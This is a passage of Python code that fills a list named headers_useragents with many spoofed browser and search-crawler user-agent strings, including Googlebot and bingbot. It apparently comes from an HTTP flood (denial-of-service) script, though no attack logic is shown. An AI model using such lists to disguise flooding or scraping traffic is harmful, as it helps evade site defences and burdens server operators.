5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 